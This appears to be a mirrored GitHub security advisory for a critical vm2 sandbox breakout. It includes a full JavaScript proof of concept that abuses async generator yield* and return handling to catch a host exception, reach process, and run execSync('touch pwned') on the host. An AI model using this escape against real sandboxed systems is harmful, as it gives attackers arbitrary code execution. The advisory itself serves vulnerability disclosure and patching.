vm2 Has a Sandbox Breakout Using Async Generator

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details It is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function* helper() { yield* { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Source published

14 May 2026 21:14:32 UTC

Source modified

14 May 2026 21:41:25 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL